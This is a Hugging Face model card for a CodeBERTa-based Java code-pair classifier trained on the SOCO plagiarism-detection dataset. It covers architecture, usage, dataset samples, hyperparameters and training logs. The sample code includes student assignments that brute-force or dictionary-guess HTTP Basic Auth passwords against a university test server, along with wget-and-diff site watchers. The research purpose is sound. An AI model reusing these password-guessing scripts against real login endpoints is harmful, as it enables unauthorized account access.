Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass")
# Run inference
sentences = [
'\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\npublic class WatchDog\n{\n\n \n public static void main(String args[])throws Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n {\n \n\n String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \\"Part 2-Assignment2 \\" < change.html"};\n String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};\n String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};\n String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};\n String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};\n String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};\n\n\n Process p = Runtime.getRuntime().exec("mkdir predir");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec("mkdir postdir");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p1.waitFor();\n\n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p3.waitFor();\n\n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n p4.waitFor();\n \n System.out.println("The WatchDog - Returns 0 if change else 1");\n System.out.println("Value :" + p4.exitValue());\n try\n {\n while ((str = inp1.readLine()) != null)\n {\n System.out.println(str);\n }\n }\n catch (IOException e)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException e )\n {\n e.printStackTrace();\n }\n\n BufferedReader in = new BufferedReader(new FileReader("change.html"));\n \n if (in.readLine() != null)\n {\n\n try\n {\n String str1;\n p5 = Runtime.getRuntime().exec(s1);\n DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n p5.waitFor();\n try\n {\n while ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n }\n }\n catch (IOException e1)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n }\n\n }\n }\n }\n}\n\n',
'import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class BruteForce\n{\n\n\tprivate String result ="";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String passwd)\n {\n this.pass = passwd;\n }\n\n\t protected PasswordAuthentication getPasswordAuthentication()\n {\n\t return new PasswordAuthentication("",pass.toCharArray());\n }\n public String pass;\n }\n\n public BruteForce() {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\t\tchar words[] = { \'a\',\'b\',\'c\',\'d\',\'e\', \'f\', \'g\', \'h\', \'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\n\t\t\t\t\t\t\t \'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\', \'A\',\'B\',\'C\',\'D\',\'E\', \'F\', \'G\',\n\t\t\t\t\t\t\t \'H\', \'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\n\t\tString record = null;\n\n\n\n String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n\t\tchar pass[] = {\'x\',\'x\',\'x\'};\n\t\tint count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\n }\n catch (MalformedURLException e)\n {\n }\n\n for(int a=0;a<words.length;a++)\n {\n for(int b=0;b<words.length;b++)\n {\n for(int c=0;c<words.length;c++)\n {\n pass[0]=words[a];\n pass[1]=words[b];\n pass[2]=words[c];\n passwd=passwd.copyValueOf(pass,0,3);\n System.out.println(count+ " ) " + passwd);\n count++;\n try\n {\n\n connection = (HttpURLConnection) u.openConnection();\n Authenticator.setDefault(new customAuthenticator(passwd));\n\n if (connection.getResponseCode()!=401)\n {\n System.out.print("The password is : "+passwd);\n System.out.println();\n java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n System.out.println(d1.toString());\n System.out.println("\\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\\n");\n\n System.exit(0);\n }\n else\n {\n }\n connection.disconnect();\n }\n catch (IOException e)\n {\n System.out.println(e);\n }\n }\n }\n }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\t\tBruteForce = new BruteForce();\n\t}\n}',
'import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\nclass Dictionary{\n\n public static void main(String [] args){\n try\n {\n Date d = new Date();\n String line1="";\n String ps="";\n String file1 = "words.txt";\n String file2 = "index.html";\n String endline="Authorization failed.";\n String [] cmd = new String[4];\n cmd[0] = "wget";\n cmd[1] = "--http-user=";\n cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n FileReader fr1 = new FileReader(file1);\n BufferedReader in1 = new BufferedReader(fr1);\n while((line1 = in1.readLine())!=null)\n {\n try{\n cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n if(line1.length()==3)\n ps = line1;\n System.out.println(cmd[2]);\n File f = new File(file2);\n if(f.exists())\n {\n System.out.println("password: " + ps);\n break;\n }\n }\n catch(IOException ex)\n {\n System.out.println("hello1");\n }\n\n }\n Date end = new Date();\n System.out.println(d.toString());\n System.out.println(end.toString());\n System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));\n }\n\n catch(IOException e)\n {\n System.out.println("hello,didnt find file.");\n }\n }\n public static String connect(String str1)\n {\n char data[] = {\'-\',\'-\',\'h\',\'t\',\'t\',\'p\',\'-\',\'p\',\'a\',\'s\',\'s\',\'w\',\'d\',\'=\'};\n String str = new String(data);\n return str + str1;\n }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Training Details
Training Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 30,069 training samples
- Columns:
label,text_1, andtext_2 - Approximate statistics based on the first 1000 samples:
label text_1 text_2 type int string string details - 0: ~99.80%
- 1: ~0.20%
- min: 51 tokens
- mean: 448.9 tokens
- max: 512 tokens
- min: 54 tokens
- mean: 464.58 tokens
- max: 512 tokens
- Samples:
label text_1 text_2 0import java.io.;
import java.net.;
import java.security.;
import java.math.;
import java.;
import java.util.;
public class WatchDog
{
public static FileWriter out = null, output = null;
public static void main (String args[]) throws Exception {
Socket socket = null;
DataOutputStream = null;
BufferedReader bf = null, fr = null;
String retVal = null, StatusCode = "HTTP/1.1 200 OK";
int dirty = 0, count = 0;
stime = System.currentTimeMillis();
System.out.println("Detecting the changes...");
try {
URL yahoo = new URL("http://www.cs.rmit.edu./students/");
URLConnection yc = yahoo.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
yc.getInputStream()));
String inputLine;
try {
out = new FileWriter("newstudent");
while ((inp...
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i])....0
import java.net.;
import java.;
import java.io.*;
import java.util.GregorianCalendar;
public class BruteForce
{
private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',
'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',
'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',
'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9',''','.','&'};
private int num=1;
public void crackAddress() throws Exception
{
String line,username="",passwd;
int flag=0;
Runtime run = Runtime.getRuntime();
GregorianCalendar =new GregorianCalendar();
for(int k=0;k {
for(int j=0;j {
for(int i=0;i {
passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();
System....
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class DictionaryPropertyHelper {
private static Properties dictProps;
public DictionaryPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the dictionary Props");
e.printStackTrace();
}
return dictProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(dictProps == null){
dictProps = new Properties();
InputStream fis =
DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");
dictProps.load(fis);
}
}
}0
import java.net.;
import java.io.;
import java.util.Date;
public class BruteForce {
private URL url;
private HttpURLConnection connection;
private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t",
"u", "v", "w", "x", "y", "z"};
private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
"K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",
"U", "V", "W", "X", "Y", "Z"};
private String userPassword, base64_userPassword;
private static char wrongPass;
public BruteForce() {
wrongPass = 'Y';
}
public char determinePass(String inputURL, String userName, String passWord){
try{
url = new URL(inputURL);
connection = (HttpURLConnection)url.openConnection();
this.getEncoded(userName,...import java.io.*;
class WatchDog {
public static void main(String args[]) {
if (args.length<1)
{
System.out.println("Correct Format Filename email address <username@cs.rmit.edu.> of the recordkeeper");
System.exit(1);
}
while (true)
{
FileInputStream stream=null;
DataInputStream word=null;
String input=" ";
try {
String ls_str;
Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");
try {
Thread.sleep(2000);
}catch (Exception e) {
System.err.println("Caught ThreadException: " +e.getMessage());
}
String[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "};
ls_proc = Runtime.getRuntime().exec(cmd);
try {
Thread.sleep(2000);
}catch (Exception e) {
System.err.println("Caught ThreadException: " +e.getMessage());
}
if (ls_proc.exitValue()==2)
{
System.out.println("The file was checked for f... - Loss:
SoftmaxLoss
Evaluation Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 3,342 evaluation samples
- Columns:
label,text_1, andtext_2 - Approximate statistics based on the first 1000 samples:
label text_1 text_2 type int string string details - 0: ~99.50%
- 1: ~0.50%
- min: 51 tokens
- mean: 451.02 tokens
- max: 512 tokens
- min: 54 tokens
- mean: 464.38 tokens
- max: 512 tokens
- Samples:
label text_1 text_2 0import java.io.;
import java.net.;
public class BruteForce
{
private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private static String password;
private static int length;
private static int t_counter;
private static int f_counter;
private static int cases;
private static int respCode;
public BruteForce()
{
Authenticator.setDefault(new BruteForceAuthenticator());
t_counter = 0;
f_counter = 0;
cases = 0;
}
public static void main (String[] args)
{
BruteForce bf = new BruteForce();
String file = " ";
while(respCode != 200)
{
file = bf.fetchURL();
}
System.out.println("Number of attempts: " + t_counter);
System.out.println("Password: " + password);
System.out.println(file);
}
private String fetchURL()
{
...
import java.io.IOException;
import java.net.;
import java.io.;
import java.util.*;
public class BruteForce
{
static String strLetter[];
static URL url = null;
static URLConnection urlConnection;
static InputStream urlStream;
static String strExceptionPassword[];
static int intExceptionCount = -1;
static int intNumberOfConnectionAttempts = 0;
static String username = "";
static String strLastPasswordTested;
public static void main (String args[])
{
Calendar calStart;
Calendar calFinish;
Date dateStart;
Date dateFinish;
lngStart;
lngFinish;
calStart = new GregorianCalendar();
dateStart = calStart.getTime();
lngStart = dateStart.getTime();
System.out.println();
System.out.println();
populateArray();
boolean boolPasswordFound...0
import java.util.;
import java.net.;
import java.io.;
import misc.BASE64Encoder;
import javax.swing.;
public class ConnectionThread extends Thread
{
private String url;
private URL currURL;
private URLConnection conn;
private HoldSharedData sharedData;
private int noOfThread;
private int batch;
public ConnectionThread( String pageURL, int wThread,
int newBatch, HoldSharedData data )
{
super();
url = pageURL;
noOfThread = wThread;
batch = newBatch;
sharedData = data;
}
public void run()
{
try
{
currURL = new URL( url );
for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
(i < sharedData.getPwdCount()); i ++ )
{
String pwd = sharedData.getPasswordAt( i );
conn = currURL.openConnection();
...import java.net.;
import java.io.;
public class EmailClient
{
private String sender, recipient, hostName;
public EmailClient(String nSender, String nRecipient, String nHost)
{
sender = nSender;
recipient = nRecipient;
hostName = nHost;
}
public void sendMail(String subject, String message)
{
try
{
Socket s1=null;
InputStream is = null;
OutputStream os = null;
DataOutputStream = null;
s1 = new Socket(hostName,25);
is = s1.getInputStream();
os = s1.getOutputStream();
bd = new DataOutputStream(os);
BufferedReader response = new BufferedReader(new InputStreamReader(is));
bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");
waitForSuccessResponse(response);
bd.writeBytes("MAIL FROM:"+sender+"\n");
waitForSuccessResponse(response);
bd.writeBytes("RCPT :"+recipient+"\n");
waitForSuccessResponse(response);
bd.writeBytes("data"+"\n");
bd.writeBytes("Subject:"+subject+"\n");
bd.writeBy...0import java.io.;
import java.util.;
import java.text.;
import java.net.;
public class LoginAttempt
{
private String urlName = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private String userName = "";
private String connectString = "";
public LoginAttempt()
{
}
public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried)
{
boolean foundPassword = false;
LoginAttemptResults results = new LoginAttemptResults();
for( i = 0; i < casedPasswords.length; i++)
{
passwordsTried++;
try
{
URL targetURL;
HttpURLConnection connection;
targetURL = new URL(urlName);
connection = (HttpURLConnection) targetURL.openConnection();
connectString = userName + ":" + casedPasswords[i].trim();
connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getByt...
package java.httputils;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.sql.Timestamp;
public class HttpRequestClient
{
protected URL serverURL;
protected java.net.HttpURLConnection httpConnection;
protected Timestamp start;
protected Timestamp end;
protected StringBuffer content = new StringBuffer();
protected int millis;
protected int code;
public HttpRequestClient(String url)
throws MalformedURLException, IOException
{
setServerURL(new URL(url));
setStart(new Timestamp(System.currentTimeMillis()));
setHttpConnection(
(HttpURLConnection)this.getServerURL().openConnection());
doRequest();
}
public HttpRequestClient()
{
super();
}
public int doRequest()
throws IOException
{... - Loss:
SoftmaxLoss
Training Hyperparameters
Non-Default Hyperparameters
eval_strategy: stepsper_device_train_batch_size: 16per_device_eval_batch_size: 16num_train_epochs: 1warmup_ratio: 0.1fp16: True
All Hyperparameters
Click to expand
overwrite_output_dir: Falsedo_predict: Falseeval_strategy: stepsprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 16per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1.0num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.1warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torchoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: batch_samplermulti_dataset_batch_sampler: proportional
Training Logs
| Epoch | Step | Training Loss | Validation Loss |
|---|---|---|---|
| 0.0532 | 100 | 0.0842 | 0.0238 |
| 0.1064 | 200 | 0.0111 | 0.0203 |
| 0.1596 | 300 | 0.0061 | 0.0253 |
| 0.2128 | 400 | 0.0243 | 0.0203 |
| 0.2660 | 500 | 0.0311 | 0.0209 |
| 0.3191 | 600 | 0.0212 | 0.0203 |
| 0.3723 | 700 | 0.0137 | 0.0237 |
| 0.4255 | 800 | 0.03 | 0.0199 |
| 0.4787 | 900 | 0.0104 | 0.0195 |
| 0.5319 | 1000 | 0.0141 | 0.0201 |
| 0.5851 | 1100 | 0.0214 | 0.0186 |
| 0.6383 | 1200 | 0.0151 | 0.0192 |
| 0.6915 | 1300 | 0.0219 | 0.0185 |
| 0.7447 | 1400 | 0.0152 | 0.0184 |
| 0.7979 | 1500 | 0.0082 | 0.0192 |
| 0.8511 | 1600 | 0.0128 | 0.0182 |
| 0.9043 | 1700 | 0.0155 | 0.0172 |
| 0.9574 | 1800 | 0.0102 | 0.0174 |
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
Citation
BibTeX
Sentence Transformers and SoftmaxLoss
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}